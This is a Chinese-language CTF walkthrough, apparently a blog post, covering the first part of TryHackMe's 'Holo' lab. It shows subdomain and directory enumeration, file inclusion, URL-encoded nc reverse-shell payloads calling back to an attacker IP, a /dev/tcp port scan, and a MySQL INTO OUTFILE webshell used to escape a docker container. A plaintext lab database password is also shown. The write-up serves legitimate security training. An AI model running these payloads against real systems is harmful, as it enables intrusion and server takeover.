这个靶场在THM属于困难难度,打起来因为网络不稳定,很难受。但是真的有挺多知识点在里面,打起来还是很爽的。各位师傅有THM账号的话可以尝试下哦,如果有更好的解法欢迎各位师傅指点。
首先连上咱的v*n,开始
信息搜集
ip存活探测
──(kali㉿kali)-[~]
└─$ sudo nmap -sn 10.200.109.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 19:37 CST
Nmap scan report for 10.200.109.33
Host is up (0.23s latency).
Nmap scan report for 10.200.109.250
Host is up (0.23s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 30.05 seconds
发现ip 10.200.109.33 10.200.109.250
端口扫描
┌──(kali㉿kali)-[~] │
└─$ sudo nmap --min-rate 10000 -p- 10.200.109.33 │
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 19:40 CST │
Stats: 0:00:04 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan │
Parallel DNS resolution of 1 host. Timing: About 0.00% done │
Nmap scan report for 10.200.109.33 │
Host is up (0.24s latency). │
Not shown: 65532 closed tcp ports (reset) │
PORT STATE SERVICE │
22/tcp open ssh │
80/tcp open http │
33060/tcp open mysqlx
┌──(kali㉿kali)-[~] │
└─$ sudo nmap --min-rate 10000 -p- 10.200.109.250 │
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 19:41 CST │
Nmap scan report for 10.200.109.250 │
Host is up (0.23s latency). │
Not shown: 65533 closed tcp ports (reset) │
PORT STATE SERVICE │
22/tcp open ssh │
1337/tcp open waste │
│
Nmap done: 1 IP address (1 host up) scanned in 21.05 seconds │
通过端口扫描,发现10.200.109.33存在80端口开放http服务,作为一名合格的安服仔,直接打开浏览器和BurpSuite,开始进行渗透。打开页面,发现无论点击哪个链接,都会跳转www.holo.live,并且网页中加载的图片也是在holo.live上
于是我们可以将Host更改为10.200.109.33 www.holo.live
网站显示正常,此时应该可以想到,是否有子域名绑定在这个IP上,
于是开始枚举子域名,枚举子域名前,应该先将holo.live 添加进hosts文件中(这段卡了我一个小时,不添加就会一直爆出403的子域名,还以为我的gobuster坏了)
sudo echo '10.200.109.33 holo.live' >> /etc/hosts
然后使用gobuster进行爆破子域名
gobuster vhost -u holo.live -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
我们很容易爆出三个子域名
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster vhost -u holo.live -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://holo.live
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
2023/03/09 18:23:42 Starting gobuster in VHOST enumeration mode
===============================================================
Found: www.holo.live Status: 200 [Size: 21405]
Found: dev.holo.live Status: 200 [Size: 7515]
Found: admin.holo.live Status: 200 [Size: 1845]
将他们三个添加进hosts中,信息搜集完毕。接下来开始正式的进入WEB层面渗透。
WEB渗透
首先三个域名中最可疑的,当属dev.holo.live了。我们就从它来开刀。
在浏览器中访问它,随便看看,点击Talents选项卡,映入眼帘的是一群二次元可爱妹子的图片
查看图片加载路径为
http://dev.holo.live/img.php?file=images/korone.jpg
看着这个file参数很可疑,于是尝试任意文件读取
一发入魂,完美。
没有什么其他可疑的地方了,于是我们尝试进行目录爆破
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir --url http://dev.holo.live/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.holo.live/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/03/09 19:01:13 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 278]
/.hta (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/admin (Status: 403) [Size: 278]
/admin.php (Status: 403) [Size: 278]
/css (Status: 301) [Size: 312] [--> http://dev.holo.live/css/]
/fonts (Status: 301) [Size: 314] [--> http://dev.holo.live/fonts/]
/images (Status: 301) [Size: 315] [--> http://dev.holo.live/images/]
/index.php (Status: 200) [Size: 7515]
/javascript (Status: 301) [Size: 319] [--> http://dev.holo.live/javascript/]
/js (Status: 301) [Size: 311] [--> http://dev.holo.live/js/]
/login (Status: 403) [Size: 278]
因为不知道路径,所以还需要爆破默认路径,因为太麻烦,我决定三个域名同时进行目录爆破,这样挖掘漏洞的广度也会增加。
gobuster dir --url http://www.holo.live/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
gobuster dir --url http://admin.holo.live -w /usr/share/seclists/Discovery/Web-Content/common.txt
意外的发现有两个robots.txt
这个xlmrpc里面有可能有洞,尝试半天,无果。
这个cerds.txt很可疑,还记得我们刚开始弄出的LFI吗?拿来读一下
niubility,我们尝试使用账号密码进入后台。
进入后,主页并没有什么功能,查看源代码,发现了不得了的东西
然后我们传入一个cmd=whoami,就可以获取到命令返回
ohh!!!!直接来反弹shell,然后提权日内网,就快结束了。在这给大家推荐个小插件,Utools中的反弹Shell插件,肥肠方便。。。
通过nc
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.50.105.164%206666%20%3E%2Ftmp%2Ff
成功反弹shell!!!
通过ip我们知道,我们并不是再真正的L-SRV01上面,而是在底下的docker中
因为这个shell的交互性太差了,所以我们使用python来升级下终端操作。
python3 -c 'import pty; pty.spawn("/bin/bash")'
Docker逃逸
主机信息搜集
可以确定这是一台docker主机。所以升不升级root权限无所谓,直接想办法干宿主机才是真的。
我们发现有一台IP为192.168.100.1的机器,通过经验判断,这个就是宿主机的IP地址了。
我们先写个丑陋并且使用的端口检测脚本,看看开放了哪些端口。
for i in {1..10000};do 2>/dev/null > /dev/tcp/192.168.100.1/$i && echo Port $i open;done
www-data@f54c1997586e:/tmp/chixy$ for i in {1..10000};do 2>/dev/null > /dev/tcp/192.168.100.1/$i && echo Port $i open;done
Port 22 open
Port 80 open
Port 3306 open
Port 8080 open
80端口映射的就是此docker中的http服务,所以8080极有可能是宿主机http服务
通过信息搜集,凭据查找
本机数据库账密
192.168.100.1的账密
MySQL逃逸
有了192.168.100.1的数据库账号密码,我们直接通过mysql连接宿主机尝试
www-data@191902672d7f:/var/www/admin$ mysql -h 192.168.100.1 -u admin -p
mysql -h 192.168.100.1 -u admin -p
Enter password: !123SecureAdminDashboard321!
拿到了宿主机mysql权限,可以尝试直接使用mysql写一个webshell,方便我们使用。
select '<?php system($_GET[sb]);?>' INTO OUTFILE '/var/www/html/shell1.php';
如果猜的没错,那么我们的shell将在http://192.168.100.1:8080上,所以我们通过
curl "http://192.168.100.1:8080/shell1.php?sb=id"
成功获取宿主机的www-data权限
尝试下反弹shell
curl "http://192.168.100.1:8080/shell1.php?sb=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.50.105.164%205555%20%3E%2Ftmp%2Ff"
可以确定的是,我们成功拿到了宿主机L-SRV01的www-data权限。
网络一直不太稳定,拿到的权限没输入几条命令就掉,掉了就要重来,心累。。。
等我解决了网络问题再写下篇吧,各位师傅如果有优质的线路推荐,或者稳定的办法打靶场,欢迎各位师傅指点。